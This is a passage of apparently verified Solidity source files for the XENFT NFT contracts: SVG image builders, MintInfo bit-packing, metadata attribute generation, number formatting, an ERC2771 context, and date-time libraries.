23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 